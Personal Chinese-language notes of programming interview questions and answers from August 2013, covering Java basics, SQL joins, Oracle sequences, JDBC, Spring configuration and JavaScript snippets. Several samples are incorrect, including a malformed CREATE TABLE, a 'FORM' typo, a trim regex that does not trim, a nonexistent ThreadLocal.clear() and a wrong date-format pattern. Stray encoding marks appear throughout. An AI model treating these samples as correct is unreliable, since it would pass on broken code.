主鍵由外部程序負責生成,在 save() 之前必須指定一個Hibernate不負責維護主鍵生成,與Hibernate和底層數據庫都無關,可以跨數據庫。在存儲對象前,必須要使用主鍵的setter方法給主鍵賦值,至于這個值怎么生成,完全由自己決定,這種方法應該盡量避免 ?
特點:可以跨數據庫,人為控制主鍵生成,應盡量避免 ?
Composite-id:復合主鍵,聯合主鍵 ?
??
2013年8月17日: ?
??
問題1、Oracle是否支持Auto_Increment?如不支持如何實現類似功能? ?
??
建立一個Sequence序列: ?
CREATE SEQUENCE Sequence_Name ?
INCREMENT BY 1 ? ?每次加1個 ? ?
START WITH 1 ? ? ?從1開始計數 ? ?
NOMAXVALUE ? ? ? ?不設置最大值 ? ?
NOCYCLE ; ? ? ? ? 一直累加,不循環 ?
??
建立一個TRIGGER觸發器: ?
CREATE OR REPLACE TRIGGER Trigger_Name ??
BEFORE ??
INSERT ??
ON Table_Name referencing NEW as NEW FOR EACH ROW ? 行級觸發,即每行都觸發 ?
DECLARE ??
begin ?
select Sequence_Name.nextval into:New.increment_column from dual; ?
end; ?
/ ?
??
問題2、建模使用什么工具? ?
??
Rational Rose、Power Designer、StarUML、Enterprise Architect [?ɑ:kitekt] ?
??
問題3、Svn主要作用?Svn的服務如何配置? ?
??
主要作用:版本控制管理和代碼服務器,主要用于團隊開發時對項目代碼的管理 ?
??
服務配置: ?
創建版本庫svnadmin create 版本庫路徑 ?
建議注冊到services.msc服務中 ?
命令:sc create/delete svn binPath= “盤符:\subversion\bin\svnserve.exe –service –r 倉庫目錄” DisplayName= “邏輯名” ?
binPath的值之前一定要加空格 ?
??
2013年8月19日:凱通軟件 ?
??
問題1、Java基礎數據類型有哪些?最大長度分別是多少位?多少字節? ?
??
整數類型: ?
Byte 8位 1字節 范圍:-128 ~ 127范圍:-27 ?~ 27-1 ?
Short 16位 2字節 范圍:-32768 ~ 32767 范圍:-215 ~ 215-1 ?
Int 32位4字節 范圍:-2,147,483,648 ~ 2,147,483,647 范圍:-231 ?~ 231-1 ?
Long 64位8字節 范圍:-9,223,372,036,854,775,808~+9,223,372,036,854,775,807 范圍:-263 ?~ 263 -1 ??
??
浮點數型: ?
Float 32位4字節 范圍:-3,40292347E+38 ~ +3,40292347E+38范圍: ?
Double 64位8字節 范圍:-1.79769313486231576E+308 ~ 1.79769313486231576E+308范圍: ?
??
其他類型: ?
Char 16位2字節(默認Unicode編碼) 范圍:‘\u0000′ ~ ‘\uFFFF’ 范圍: ?
Boolean 1位0.125字節(8分之1字節) 范圍:true/false ?
??
??
注意: ?
Int最常用(20億左右),long可以用在統計世界人口,byte,short用在特殊場合(如果知道存儲在變量中的整數在一個字節范圍內,就應該將變量聲明為byte) ?
Double和Float,一般都使用double,double類型,因為double類型比float更精確。需要存儲大量數據才考慮單精度一般使用(float可以節約內存) ?
??
問題2、String有哪些方法? ?
??
trim() 去掉起始和結尾的空格 ?
charAt (int index) ?返回index所指定的字符 ?
concat(String str) ?將兩字符串連接 ?
equals() ?比較兩個字符串 ?
length() ?返回字符串的長度 ?
replace(char old ,char new) ?將old用new替代 ?
valueOf() ?轉換為字符串 ?
substring(int1,int2) ?取出字符串內第int1位置到int2的字符串 ?
??
indexOf() 查找字符或者子串第一次出現的地方,lastIndexOf() 查找字符或者子串是后一次出現的地方 ?
startsWith(String str) ?測試字符串是否以str開始,endsWith(String str) ?測試字符串是否以str結尾 ?
getBytes ?將字符串轉換成字節數組返回,toCharArray ?將字符串轉換成字符數組 ?
toLowerCase() ?將字符串內的字符改寫成小寫,toUpperCase() ?將字符串內的字符改寫成大寫 ?
??
問題3、冒泡排序的代碼? ?
??
基本思想: ?
在要排序的一組數中,對當前還未排好序的范圍內的全部數,自上而下對相鄰的兩個數依次進行比較和調整,讓較大的數往下沉,較小的往上冒。即:每當兩相鄰的數比較后發現它們的排序與排序要求相反時,就將它們互換。 ?
??
實例: ?
??
??
冒泡排序(bubble sort):冒泡排序,每次兩個相鄰的值進行比較,內層循環結束,最后出現最大值。 ?
??
/* ?
? ? 冒泡排序,每次兩個相鄰的值進行比較,內層循環結束,最后出現最大值。 ?
? ? 內層循環 arr.length-1 避免角標越界 ?
? ? ? ? ? ? ?arr.length-x 減少參與比較的數,因為這些數,已經是最大值,排在最后,沒有必要參與比較。 ?
? ? */ ?
? ? public static void bubbleSort(int[] arr){ ?
? ? ? ? for(int x=0;x<arr.length;x++){ ?
? ? ? ? ? ? for(int y=0;y<arr.length-1-x;y++){ ?
? ? ? ? ? ? ? ? if(arr[y]>arr[y+1]){ ?
? ? ? ? ? ? ? ? ? ? int temp =arr[y+1]; ?
? ? ? ? ? ? ? ? ? ? arr[y+1]=arr[y]; ?
? ? ? ? ? ? ? ? ? ? arr[y]=temp; ?
? ? ? ? ? ? ? ? }}}} ?
??
問題4、選擇排序的代碼? ?
??
基本思想: ?
在要排序的一組數中,選出最小的一個數與第一個位置的數交換;然后在剩下的數當中再找最小的與第二個位置的數交換,如此循環到倒數第二個數和最后一個數比較為止。 ?
??
實例: ?
??
??
/* ?
? ? 選擇排序。內循環結束 0角標位出現最小值。只要外層循環的值比內層循環值大,就互換位置。 ?
? ? 0角標位的元素,和0角標位以后的每個元素進行比較,只要比他們大就互換,位置,這樣可以保證0角標位置值最小。 ?
? ? 然后,再進行1角標位置和1角標后的每個元素進行比較。 ?
? ? 依次類推, ?
? ? ??
? ? */ ?
? ? public static void selectSort(int[] arr){ ?
? ? ? ? for(int x=0;x<arr.length-1;x++){ ?
? ? ? ? ? ? for(int y=x+1;y<arr.length;y++){ ?
? ? ? ? ? ? ? ? if(arr[x]>arr[y]){ ?
? ? ? ? ? ? ? ? ? ? int temp=arr[y]; ?
? ? ? ? ? ? ? ? ? ? arr[y]=arr[x]; ?
? ? ? ? ? ? ? ? ? ? arr[x]=temp; ?
? ? ? ? ? ? ? ? }}}} ?
??
問題5、inner join、left join、right join、full out join有什么區別? ?
??
left join是以A表的記錄為基礎的,A可以看成左表,B可以看成右表,left join是以左表為準的.。 ?
換句話說,左表(A)的記錄將會全部表示出來,而右表(B)只會顯示符合搜索條件的記錄(例子中為: A.aID = B.bID),B表記錄不足的地方均為NULL。 ?
范例代碼: ?
SELECT C.First_Name, C.Last_Name, O.Order_Id FORM Customer AS C LEFT JOIN Order AS O ON C.Customer_ID = O.Customer_ID ?
??
right join和left join的結果剛好相反,這次是以右表(B)為基礎的,A表不足的地方用NULL填充。 ?
inner join只顯示出了 A.aID = B.bID的記錄,這說明inner join并不以誰為基礎,它只顯示符合條件的記錄。 ?
??
Oracle中的使用: ?
連接分為兩種:內連接與外連接。 ?
??
A.內連接,即最常見的等值連接,例: ?
SELECT * ?
FROM TESTA,TESTB ?
WHERE TESTA.A=TESTB.A ?
等價于 ?
select * from testa inner join testb on testa.a=testb.a ?
? ?
B.外連接分為左外連接,右外連接和全外連接。 ?
1.左外連接 left outer join 或者 left join ?
左外連接就是在等值連接的基礎上加上主表中的未匹配數據,例: ?
SELECT * ?
FROM TESTA ?
LEFT OUTER JOIN TESTB ?
ON TESTA.A=TESTB.A ?
---------------------其中主表是TESTA。 ?
Oracle 中等價于: (+)是outer join 的意思,能將匹配備件中有空值的記錄也顯示出來,如果沒有這個符號,則不會顯示條件中包含空值的結果。 ?
SELECT * ?
FROM TESTA,TESTB ?
WHERE TESTA.A=TESTB.A(+) ?
? ?
三個表做左外連接: ?
SELECT * ?
FROM TESTA ?
LEFT OUTER JOIN TESTB ?
ON TESTA.A=TESTB.A ?
LEFT OUTER JOIN TESTC ?
ON TESTA.A=TESTC.A ?
Oracle 中等價于: ?
SELECT * ?
FROM TESTA,TESTB,TESTC ?
WHERE TESTA.A=TESTB.A(+) ?
AND TESTA.A=TESTC.A(+) ?
? ?
2. 右外連接 right outer join 或者 right join,是在等值連接的基礎上加上被連接表的不匹配數據。 ??
SELECT * ?
FROM TESTA ?
RIGHT OUTER JOIN TESTB ?
ON TESTA.A=TESTB.A ?
----------------------其中被連接表是TESTB ?
Oracle支持的另一種寫法: ?
SELECT * ?
FROM TESTA,TESTB ?
WHERE TESTA.A(+)=TESTB.A ?
??
3.全外連接 full outer join 或者 full join,是在等值連接的基礎上將左表和右表的未匹配數據都加上。 ??
SELECT * ?
FROM TESTA ?
FULL OUTER JOIN TESTB ?
ON TESTA.A=TESTB.A ?
全外連接的等價寫法,對同一表先做左連接,然后右連接: ??
SELECT ?TESTA.*,TESTB.* ?
FROM TESTA ?
LEFT OUTER JOIN TESTB ?
ON TESTA.A=TESTB.A ?
UNION ?
SELECT TESTA.*,TESTB.* ?
FROM TESTB ?
LEFT OUTER JOIN TESTA ?
ON TESTA.A=TESTB.A ?
??
2013年8月20日: ?
??
問題1、JS中有哪些數據類型? ?
??
Undefined、Null、Boolean、Number、String、Object、Array、Function。 ?
JavaScript有三種基本數據類型(字符串、數值、布爾 ),兩種引用數據類型(對象、數組)和兩種特殊數據類型(Null 、Undefined )。 ?
??
問題2、String 和StringBuffer的區別? ?
??
JAVA平臺提供了兩個類:String和StringBuffer,它們可以儲存和操作字符串,即包含多個字符的字符數據。 ?
String類表示內容不可改變的字符串。而StringBuffer類表示內容可以被修改的字符串。當你知道字符數據要改變的時候你就可以使用StringBuffer。 ?
典型地,你可以使用StringBuffers來動態構造字符數據。 ?
另外,String實現了equals方法,new String(“abc”).equals(new String(“abc”)的結果為true,而StringBuffer沒有實現equals方法,所以,new StringBuffer(“abc”).equals(new StringBuffer(“abc”)的結果為false。 ?
??
接著要舉一個具體的例子來說明,我們要把1到100的所有數字拼起來,組成一個串。 ?
StringBuffer sbf = new StringBuffer(); ? ?
? ? ? ? for(int i=0;i<100;i++) ?
? ? ? ? { ?
? ? ? ? ? ? sbf.append(i); ?
? ? ? ? } ?
上面的代碼效率很高,因為只創建了一個StringBuffer對象,而下面的代碼效率很低,因為創建了101個對象。 ?
String str = new String(); ? ?
? ? ? ? for(int i=0;i<100;i++) ?
? ? ? ? { ?
? ? ? ? ? ? str = str + i; ?
? ? ? ? } ?
在講兩者區別時,應把循環的次數搞成10000,然后用endTime-beginTime來比較兩者執行的時間差異,最后還要講講StringBuilder與StringBuffer的區別。 ?
String覆蓋了equals方法和hashCode方法,而StringBuffer沒有覆蓋equals方法和hashCode方法,所以,將StringBuffer對象存儲進Java集合類中時會出現問題。 ?
??
問題3、StringBuffer與StringBuilder的區別? ?
??
StringBuffer和StringBuilder類都表示內容可以被修改的字符串,StringBuilder是線程不安全的,運行效率高,如果一個字符串變量是在方法里面定義,這種情況只可能有一個線程訪問它,不存在不安全的因素了,則用StringBuilder。如果要在類里面定義成員變量,并且這個類的實例對象會在多線程環境下使用,那么最好用StringBuffer。 ?
?
String 不可變 每次對其操作都會在數據池產生一個新的對象,不適合使用在對字符串進行頻繁修改的場景 ?
StringBuffer和StringBuilder可變,對其修改不會產生新的對象 其兩者區別在于StringBuffer線程安全而StringBuilder線程不安全,StringBuilder是線程非安全的效率比StringBuffer高 ?
?
比喻: ?
String是一個商品 ?
StringBuffer/StringBuilder是生產這個商品的流水線, ?
StringBuffer速度慢,但(線程)安全性高 ?
StringBuilder速度快,但(線程)安全性差 ?
??
問題4、Threadlocal類的作用? ?
?
ThreadLocal的作用和目的:用于實現線程內的數據共享,即對于相同的程序代碼,多個模塊在同一個線程中運行時要共享一份數據,而在另一個線程中則共享另一份數據,線程的數據是獨享的。 ?
?
ThreadLocal的實現原理:每個線程調用全局ThreadLocal的set方法,就相當于往其內部的Map中增加一條記錄,key是各自的線程,value是各自的線程調用set放進的值。在線程結束時可以調用ThreadLocal.clear()方法,可以立即釋放內存。也可以不調用,線程運行完成之后內存也會被回收。 ?
?
顧名思義它是local variable(線程局部變量)。它的功用非常簡單,就是為每一個使用該變量的線程都提供一個變量值的副本,是每一個線程都可以獨立地改變自己的副本,而不會和其它線程的副本沖突。從線程的角度看,就好像每一個線程都完全擁有該變量。 ?
?
它主要由四個方法組成initialValue(),get(),set(T),remove(),其中值得注意的是initialValue(),該方法是一個protected的方法,顯然是為了子類重寫而特意實現的。該方法返回當前線程在該線程局部變量的初始值,這個方法是一個延遲調用方法,在一個線程第1次調用get()或者set(Object)時才執行,并且僅執行1次。ThreadLocal中的確實實現直接返回一個null。也是解決線程安全的問題的一種方法。 ?
??
問題5、Statement、Preparedstatement、Callablestatement的區別? ?
??
Statement ?
? ? ? | ?
PreparedStatement ?
? ? ? | ?
CallableStatement ?
??
? ? Statement用于執行一條普通的動態SQL語句,PreparedStatement用于執行預編譯好的SQL語句,CallableStatement用于調用數據庫的存儲過程。他們的繼承關系如上。 ?
??
Statement 每次執行sql語句,數據庫都要執行sql語句的編譯 ,最好用于僅執行一次查詢并返回結果的情形,效率高于PreparedStatement. ?
? ?
PreparedStatement是預編譯的,使用PreparedStatement有幾個好處 ?
在執行可變參數的一條SQL時,PreparedStatement比Statement的效率高,因為DBMS預編譯一條SQL當然會比多次編譯一條SQL的效率要高。 ?
安全性好,有效防止Sql注入等問題。 ?
對于多次重復執行的語句,使用PreparedStament效率會更高一點,并且在這種情況下也比較適合使用batch; ?
代碼的可讀性和可維護性。 ?
? ?
CallableStatement接口擴展 PreparedStatement,用來調用存儲過程,它提供了對輸出和輸入/輸出參數的支持。CallableStatement 接口還具有對 PreparedStatement 接口提供的輸入參數的支持。 ?
??
問題6、把一個字符串類型的日期 轉換成Date類型? ?
??
字符串轉換為日期: ?
String brithday = new String("1991-02-02"); ?
? ? ? ? SimpleDateFormat sdf1 = new SimpleDateFormat("yyyy-MM-dd"); ?
? ? ? ? Date date = sdf1.parse(brithday); ?
? ? ? ? System.out.println("將字符串轉化為時間是" + date); ?
日期轉換為字符串: ?
? ? ? ? SimpleDateFormat sdf2 = new SimpleDateFormat("yyyyMMDDHHMMSSmmm "); ?
? ? ? ? System.out.println(sdf2.format(new Date())); ?
??
將輸入的字符串轉換為需要的日期格式: ?
? ? ? ? String myBirthday = new String("19881113"); ?
? ? ? ? SimpleDateFormat sdf3 = new SimpleDateFormat("yyyyMMdd"); ?
? ? ? ? Date date = sdf3.parse(myBirthday); ?
? ? ? ? String newBirthday = sdf2.format(date); ?
? ? ? ? System.out.println("將輸入的字符串轉換為需要的日期格式" + newBirthday); ?
??
問題7、Spring中加載XML配置文件的方法? ?
??
Spring中的幾種容器都支持使用xml裝配bean,包括: ?
XmlBeanFactory引用資源、ClassPathXmlApplicationContext編譯路徑 ?
FileSystemXmlApplicationContext用文件系統的路徑、XmlWebApplicationContext專為Web工程定制 ?
??
加載這些容器的配置文件的XML有以下幾種常見的方法: ?
1、引用資源用XmlBeanFactory(不能實現多個文件相互引用) ?
? ? ?Resource resource = new ClassPathResource("appcontext.xml"); ?
? ? ?BeanFactory factory = new XmlBeanFactory(resource); ?
? ? ?從factory中獲取相應資源文件中的bean,但是這種bean讀不到引用了其他文件中的bean! ?
2、引用應用上下文用ClassPathXmlApplicationContext ?
? ? ApplicationContext factory = new ClassPathXmlApplicationContext( ?
? ? ? ? ? ? ? ? "classpath:applicationContext.xml"); ?
? ? ApplicationContext factory = new ClassPathXmlApplicationContext( ?
? ? ? ? ? ? ? ? "conf/userConfig.xml"); // src/conf 目錄下的 ?
? ? ApplicationContext factory = new ClassPathXmlApplicationContext( ?
? ? ? ? ? ? ? ? "file:G:/Test/src/appcontext.xml"); ?
3、用文件系統的路徑引用應用上下文用FileSystemXmlApplicationContext ??
? ? ApplicationContext factory = new FileSystemXmlApplicationContext( ?
? ? ? ? ? ? ? ? "src/applicationContext.xml"); ?
? ? ApplicationContext factory = new FileSystemXmlApplicationContext( ?
? ? ? ? ? ? ? ? "classpath:appcontext.xml"); ?
? ? ApplicationContext factory = new FileSystemXmlApplicationContext( ?
? ? ? ? ? ? ? ? "file:G:/Test/src/appcontext.xml"); ?
? ? ApplicationContext factory = new FileSystemXmlApplicationContext( ?
? ? ? ? ? ? ? ? "G:/Test/src/appcontext.xml"); ?
注意:在2、3的加載方式中可以加載多個配置文件,獲取到ApplicationContext 對象中 ?
? ? String[] configs = { "applicationContext.xml", "user_spring.xml" }; ?
? ? ApplicationContext ctx = new ClassPathXmlApplicationContext(configs); ?
? ? // ApplicationContext ctx=new FileSystemXmlApplicationContext(configs); ?
? ? AbstractDao myUserDAO = (AbstractDao) ctx.getBean("userDao"); ?
4、Web工程定制的加載方法 XmlWebApplicationContext ? ?
?ServletContext servletContext = request.getSession() ?
? ? ? ? ? ? ? ? .getServletContext(); ?
ApplicationContext ctx = WebApplicationContextUtils ?
? ? ? ? ? ? ? ? .getWebApplicationContext(servletContext); ?
注:web.xml里面可以定義兩種參數: ?
application范圍內的參數,存放在servletcontext中。<context-param>中的參數(可以指定多個文件) ?
servlet范圍內的參數,只能在servlet的init()方法中取得, <init-param>中的參數,在init方法中用this.getInitParameter("param1")獲取 ?
??
要在spring配置多個xml,并且這些文件相互應用的加載方式: ?
1、在web.xml配置,應用服務去加載 ?
? ?<servlet> ?
? ? ?<servlet-name>app</servlet-name> ?
? ? ?<servlet-class> ?
? ? ? ? ? ? ? ?org.springframework.web.servlet.DispatcherServlet ?
? ? ?</servlet-class> ?
? ? ?<context-param> ?
? ? ? ? ? ?<param-name>contextConfigLocation</param-name> <param-value>/WEB-INF/applicationContext*.xml,/WEB-INF/user_spring*.xml</param-value> ?
? ? ?</context-param> ?
? ? ?<load-on-startup>1</load-on-startup> ? ?
? </servlet> ?
2、在/WEB-INF/applicationContext.xml配置應用服務去加載 ?
? 可以在applicationContext.xml中用import引入其他的配置文件 ?
? ?<import resource="user_spring.xml" /> ?
??
問題8、查詢分組后,每個分組前幾條記錄? ?
??
建表語句: ?
/* ?創建表并初始化數據 ? */ ?
drop table if exists Orders; ?
create table Orders( ?
? ? id int primary key auto_increment, ?
? ? Company varchar(255), ?
? ? OrderNumber varchar(255), ?
); ?
插入數據: ?
insert into Orders(Company,OrderNumber, pid) values('IBM','3532',1); ?
insert into Orders(Company,OrderNumber, pid) values('IBM','4211',1); ?
insert into Orders(Company,OrderNumber, pid) values('IBM','2342',2); ?
insert into Orders(Company,OrderNumber, pid) values('IBM','12345',3); ?
insert into Orders(Company,OrderNumber, pid) values('W3School','45323',1); ?
insert into Orders(Company,OrderNumber, pid) values('W3School','2356',2); ?
insert into Orders(Company,OrderNumber, pid) values('Apple','4538',1); ?
insert into Orders(Company,OrderNumber, pid) values('Apple','4698',2); ?
insert into Orders(Company,OrderNumber, pid) values('Apple','3234',2); ?
insert into Orders(Company,OrderNumber, pid) values('Apple','3232',3); ?
insert into Orders(Company,OrderNumber, pid) values('W3School','6953',3); ?
insert into Orders(Company,OrderNumber) values('W3School','6953'); ?
??
查詢語句:/* 查詢Orders表,以Company分組,查出每組中的前兩個記錄 ? ?*/ ?
SELECT * FROM Orders o WHERE 2 >(SELECT count(*) FROM Orders WHERE Company = o.Company and OrderNumber > o.OrderNumber); ?
??
問題9、外部js中如何使用EL表達式? ?
??
外部js中的el表達式默認無效,有以下解決方案: ?
1、把數據保存在隱藏域中,然后由js去調 ?
例如jsp中<input type="hidden" id="data" name="data" value="${xxx.data}"> ?
js中,用getElementById方法 ?
2、如果js非要放入單獨文件中,可以把js文件命名為.jsp文件就可以了,這樣里面el就能運行,也就是服務器可以執行這個文件了。無非頁面引用的時候引用jsp就可以了。 ?
< script src="myjs.jsp" type="text/javascript></script> ?
??
EL表達式是在服務端執行的,服務端執行完成后再傳給客戶端的,js是在客戶端執行的,el在js前就被執行了。 ?
??
把引入的外部js改為jsp文件,然后在jsp頁面中引入<script src="myjs.jsp"></script> ?
??
在完全是js的jsp文件中,在執行的時候會出現亂碼 ?
在頂部加入 ?
< %@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>可解決亂碼 ?
??
然后在jsp頁面中引入myjs.jsp, ?
< script src="myjs.jsp" type="text/javascript"></script> ?
??
但是如果js文件有創建html,就會出現錯誤,比如document.createElement('<option>' );即使轉義后 ?
document.createElement('<option>' ); 也沒有效果 ,在解析的時候,會創建 ?
document.createElement('<html><option>' );使用時候不識別的標識符 ?
可以直接使用document.createElement('option') ?
??
火狐不支持select.options.appendChild(option),IE支持 ?
select.appendChild(option) IE和Firefox都支持 ?
??
火狐不支持option.innerText="test", ?
為兼容 改寫為option.innerHTML="test" ?
??
問題10、給你一張表查詢同一IP的登錄次數,以及登錄次數大于10次的IP? ?
給的參數是 id datetime url ?session_id ip ?
??
select 記錄, count(記錄) ?from 表 where 記錄=表.記錄 group by 記錄 having count(記錄)>10 ?
??
select count(ip),ip from table group by ip having count(ip)>10; ?
??
問題11、<jsp:include>和<%@include file=""%>有什么區別? ?
??
動態:<jsp:include page="">--動作,運行時包含,先處理后包含 ?
父頁面和包含進來的頁面單獨編譯,單獨翻譯成servlet后,在前臺拼成一個HTML頁面。 ?
a.能自動區分被包含文件是靜態還是動態; ?
b.如果被包含文件是靜態文件,處理方式跟第1種方式一樣, ?
? 如果是動態文件,則各自處理完之后把結果包含進來發給客戶端。 ?
??
靜態:<%@include file=""%>--指令,編譯時包含,先包含后處理 ?
父頁面和包含進來的頁面,代碼合并后,才一起翻譯成servlet,反饋到前臺,形成一個HTML頁面。 ?
a.不管被包含文件是靜態還是動態,直接將頁面中的全部內容包含進來; ?
b.執行時先將包含進來的內容一起處理完之后再將所有的內容發給客戶端。 ?
??
2013年8月22日:嘉瑤軟件 ?
??
問題1、使用JavaScript動態添加刪除表格行? ?
??
< script type="text/javascript"> ?
? ? //動態增加和刪除表格行的內容 ?
? ? document.getElementById("addID").onclick = function(){ ?
? ? ? ? ? ? var tbodyElement = document.getElementById("tbodyID"); ?
? ? ? ? ? ? //創建tr元素 ?
? ? ? ? ? ? var trElement = document.createElement("tr"); ?
? ? ? ? ? ? //創建td元素 ?
? ? ? ? ? ? var td1Element = document.createElement("td"); ?
? ? ? ? ? ? var td2Element = document.createElement("td"); ?
? ? ? ? ? ? var td3Element = document.createElement("td"); ?
//創建刪除按鈕 ?
? ? ? ? ? ? var delInputElement = document.createElement("input"); ?
? ? ? ? ? ? delInputElement.type = "button"; ?
? ? ? ? ? ? delInputElement.value = "刪除"; ?
??
? ? ? ? ? ? td3Element.appendChild(delInputElement); ?
? ? ? ? ? ? //為刪除按鈕添加單擊事件 ?
? ? ? ? ? ? delInputElement.onclick = function(){ ?
? ? ? ? ? ? ? ? //this表示刪除按鈕 ?
? ? ? ? ? ? ? ? //父.removeChild(子); ? ? ??
? ? //this.parentNode.parentNode.parentNode.removeChild(this.parentNode.parentNode); ?
? ? ? ? ? ? ? ? tbodyElement.removeChild(trElement); ?
? ? ? ? ? ? } ?
? ? ? ? ? ? //將td元素添加到tr元素中 ?
? ? ? ? ? ? trElement.appendChild(td1Element); ?
? ? ? ? ? ? trElement.appendChild(td2Element); ?
? ? ? ? ? ? trElement.appendChild(td3Element); ?
? ? ? ? ? ? //將tr元素添加到tbody元素中 ?
? ? ? ? ? ? tbodyElement.appendChild(trElement); ?
? ? ? ? } ?
? ? function trim(message){ //去空格,正則表達式 ?
? ? ? ? return message.replace(/^\s*$/,""); ?
? ? } ?
?</script> ?
??
問題2、什么叫面向接口編程?有什么好處? ?
??
在系統分析和架構中,分清層次和依賴關系,每個層次不是直接向其上層提供服務(即不是直接實例化在上層中),而是通過定義一組接口,僅向上層暴露其接口功能,上層對于下層僅僅是接口依賴,而不依賴具體類。 ?
??
這樣做的好處是顯而易見的,首先對系統靈活性大有好處。當下層需要改變時,只要接口及接口功能不變,則上層不用做任何修改。甚至可以在不改動上層代碼時將下層整個替換掉,就像我們將一個WD的60G硬盤換成一個希捷的160G的硬盤,計算機其他地方不用做任何改動,而是把原硬盤拔下來、新硬盤插上就行了,因為計算機其他部分不依賴具體硬盤,而只依賴一個IDE接口,只要硬盤實現了這個接口,就可以替換上去。從這里看,程序中的接口和現實中的接口極為相似,所以我一直認為,接口(interface)這個詞用的真是神似! ?
?
? ? 使用接口的另一個好處就是不同部件或層次的開發人員可以并行開工,就像造硬盤的不用等造CPU的,也不用等造顯示器的,只要接口一致,設計合理,完全可以并行進行開發,從而提高效率。 ?
??
問題3、事務的概念?開發中如何使用事務? ?
??
事務指邏輯上的一組操作,組成這組操作的各個單元,要么全部成功,要么全部失敗。 ?
??
MySQL數據庫開啟事務命令: ?
start transaction ?開啟事務 ?
rollback ?回滾事務 ?
commit ? 提交事務 ?
savepoint 設置回滾點 ?
rollback to savepoint 回滾到指定的回滾點 ?
??
問題4、遞歸算法題:一個整數,大于0,不用循環和本地變量,按照n,2n,4n,8n的順序遞增,當值大于10000時,把值按照指定順序輸出來。先順序后逆序 ?
??
public static void main(String[] args) throws Exception { ?
? ? ? ? doubleNum(512); ?
? ? } ?
??
public static void doubleNum(int n) { ?
? ? ? ? System.out.println(n); ?
? ? ? ? if (n <= 10000) ?
? ? ? ? ? ? doubleNum(n * 2); ?
? ? ? ? System.out.println(n); ?
} ?
??
問題5、兩個div 并排放到同一個div上面? ?
??
第一步: ?
中間兩個div 設置的寬度 加起來等于1000px, ?
第二步: ?
中間兩個div ?分別加樣式 ? style="float:left;" ?
??
例如: ?
< div style="width:1000px;height:500px;background: black;"> ?
< div style="background: blue;width: 500px;height:500px;float:left;"></div> ?
< div style="background: blue;width: 500px;height:500px;float:left;"></div> ?
??
問題6、一個表有birthday字段類型為date,讓你查出年齡? ?
??
SELECT name,(year(now())-year(birthday)) AS age FROM Student; ?
??
問題7、智力題:一個房間有三個燈泡,開關在房間外面,你只能進房間一次,找出燈泡和開關的對應關系 ?
??
先開第1個開關,開較長時間再關掉,然后開第2個開關,馬上進有燈泡的房間。 ?
如果是亮的,是第2個開關。 ?
如果是暗的,就摸一摸,熱的就是第1個開關,冷的就是第3個開關。 ?
??
2013年8月23日: ?
??
問題1、操作表格的奇數行、偶數行變色的函數? ?
??
? ? <script type="text/javascript" src="WEB-INF/jquery-1.7.min.js"> ?
? ? </script> ?
? ? ??
? ? <script type="text/javascript" language="javascript"> ? ?
? ? ? ? $(document).ready(function(){ ? ?
? ? ? ? ? ? $("table tr:eq(0)").attr("style","background: #C00;"); ?//首行 ?
? ? ? ? ? ? $("table tr:odd").attr("style","background:#09F;"); ? ? //奇數行 ??
? ? ? ? ? ? $("table tr:even").attr("style","background: #C00;"); ? //偶數行 ? ?
? ? ? ? ? ? //或者通過添加css,如下 ?
? ? ? ? ? ? $("table tr:eq(0)").css("background-color","pink"); ? ? //首行 ?
? ? ? ? ? ? $("table tr:odd").css("background-color","blue"); ? ? ? //索引號為奇數的 ?
? ? ? ? ? ? $("table tr:even").css("background-color","yellow"); ? ? ? ?//索引號為偶數的 ?
? ? ? ? ? ? }); ? ?
</script> ? ?
??
問題2、JSON與XML的區別? ?
??
相同之處兩個都是存放數據的。要說不同,那就是存數據的方式不一樣,xml數據寫在xml文件中,而json需要程序添加數據,xml是一個特殊的數據文件必須符合一定的規則 ?
??
格式不同,XML是標簽式的:aaa bbb,JSON是鍵值對形式的:book:{ name:aaa, writter:bbb },JSON更加輕量級,XML開始使用比較早,而且很嚴謹,兩者都有廣泛應用,不過現在比較推薦JSON。 ?
??
問題3、JDBC的使用過程? ?
??
簡易流程: ?
1、加載驅動 ?2、獲取連接 ?3、SQL語句 ?4、執行SQL ?5、釋放資源 ?
??
創建一個以JDBC連接數據庫的程序,包含7個步驟: ??
1、加載JDBC驅動程序: ??
在連接數據庫之前,首先要加載想要連接的數據庫的驅動到JVM(Java虛擬機),這通過java.lang.Class類的靜態方法forName(String ?className)實現。 ?
//加載MySql的驅動類 ? ? ?
Class.forName("com.mysql.jdbc.Driver"); ?
成功加載后,會將Driver類的實例注冊到DriverManager類中。 ? ?
2、提供JDBC連接的URL ??
例如:(MySql的連接URL) ? ? ?
jdbc:mysql://localhost:3306/test ?
3、創建數據庫的連接 ?
要連接數據庫,需要向java.sql.DriverManager請求并獲得Connection對象,該對象就代表一個數據庫的連接。 ?
使用DriverManager的getConnectin(String url, String username,String password )方法傳入指定的欲連接的數據庫的路徑、數據庫的用戶名和密碼來獲得。 ? ??
例如:// 連接MySql數據庫,用戶名和密碼都是root ?
? ? ? ? String url = "jdbc:mysql://localhost:3306/test"; ?
? ? ? ? String username = "root"; ?
? ? ? ? String password = "root"; ?
? ? ? ? Connection con = DriverManager.getConnection(url, username, password); ?
4、創建一個Statement ?
要執行SQL語句,必須獲得java.sql.Statement實例,Statement實例分為以下3種類型: ??
1、執行靜態SQL語句。通常通過Statement實例實現。 ??
2、執行動態SQL語句。通常通過PreparedStatement實例實現。 ??
3、執行數據庫存儲過程。通常通過CallableStatement實例實現。 ??
具體的實現方式: ??
Statement stmt = con.createStatement(); ?
? ? ? ? PreparedStatement pstmt = con.prepareStatement(sql); ?
? ? ? ? CallableStatement cstmt = con.prepareCall("{CALL demoSp(? , ?)}"); ?
5、執行SQL語句 ?
Statement接口提供了三種執行SQL語句的方法:executeQuery 、executeUpdate和execute ?
1、executeQuery(String sqlString):執行查詢數據庫的SQL語句,返回一個結果集(ResultSet)對象。 ? ??
2、executeUpdate(String sqlString):用于執行INSERT、UPDATE或DELETE語句以及SQL DDL語句,如:CREATE TABLE和DROP TABLE等,返回影響行數int。 ?
3、execute(sqlString):用于執行返回多個結果集、多個更新計數或二者組合的語句。 ?
具體實現的代碼: ?
? ? ? ? ?ResultSet rs = stmt.executeQuery("SELECT * FROM ...") ; ? ? ? ??
? ? ? ? ?int rows = stmt.executeUpdate("INSERT INTO ...") ; ? ? ? ??
? ? ? ? ?boolean flag = stmt.execute(String sql) ; ? ??
6、處理結果,兩種情況: ?
? ? 1、執行更新返回的是本次操作影響到的記錄數。 ?
? ? 2、執行查詢返回的結果是一個ResultSet對象。 ?
ResultSet包含符合SQL語句中條件的所有行,并且它通過一套get方法提供了對這些行中數據的訪問。 ? ?
